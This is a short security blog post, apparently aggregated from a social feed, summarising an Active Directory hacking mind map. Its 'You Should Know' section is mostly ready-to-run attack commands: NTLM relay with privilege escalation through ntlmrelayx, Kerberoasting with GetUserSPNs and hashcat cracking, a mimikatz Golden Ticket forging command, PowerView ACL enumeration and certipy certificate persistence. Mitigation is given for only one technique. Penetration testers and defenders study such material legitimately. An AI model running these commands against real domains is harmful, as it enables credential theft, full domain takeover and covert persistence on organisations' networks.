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This article highlights an extensive Active Directory (AD) hacking MindMap, offering a detailed roadmap for compromising AD environments. The guide covers various attack techniques, privilege escalation, lateral movement, and post-exploitation strategies.
Key Techniques Covered:
- Relay Attacks: Exploiting NTLM relay and other relay-based techniques.
- Hash Cracking: Using Hashcat and John the Ripper for NTLM hashes.
- Kerberos Exploitation: Golden/Silver Ticket attacks, Kerberoasting, and AS-REP Roasting.
- Enumeration: Extracting users, groups, and ACLs.
- Privilege Escalation: Abusing domain account permissions.
- Persistence: Maintaining access via tickets and certificates.
🔗 Resources:
You Should Know:
1. NTLM Relay Attacks
Using ntlmrelayx.py (Impacket) ntlmrelayx.py -t ldap://<DC_IP> --escalate-user <USER>
Mitigation: Enable SMB signing and disable NTLM.
2. Kerberoasting
Requesting TGS tickets for SPNs GetUserSPNs.py -request -dc-ip <DC_IP> DOMAIN/USER
Crack with Hashcat:
hashcat -m 13100 hashes.txt rockyou.txt
3. Golden Ticket Attack
Using Mimikatz mimikatz kerberos::golden /user:Administrator /domain:DOMAIN /sid:<SID> /krbtgt:<KRBTGT_HASH> /ptt
4. ACL Abuse (PowerView)
Check dangerous permissions
Get-ObjectAcl -Identity "Domain Admins" | ? {$_.ActiveDirectoryRights -match "WriteProperty"}
5. Persistence via Certificates
Requesting a certificate for persistence certipy req -u USER@DOMAIN -p PASSWORD -ca CA_SERVER -template USER
What Undercode Say:
Active Directory remains a prime target for attackers due to misconfigurations and legacy protocols. Mastering these techniques is crucial for both red teams and defenders. Always practice in controlled environments and document findings.
Expected Output:
A structured AD hacking methodology with verified commands and defensive countermeasures.
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References:
Reported By: Joan Moya – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
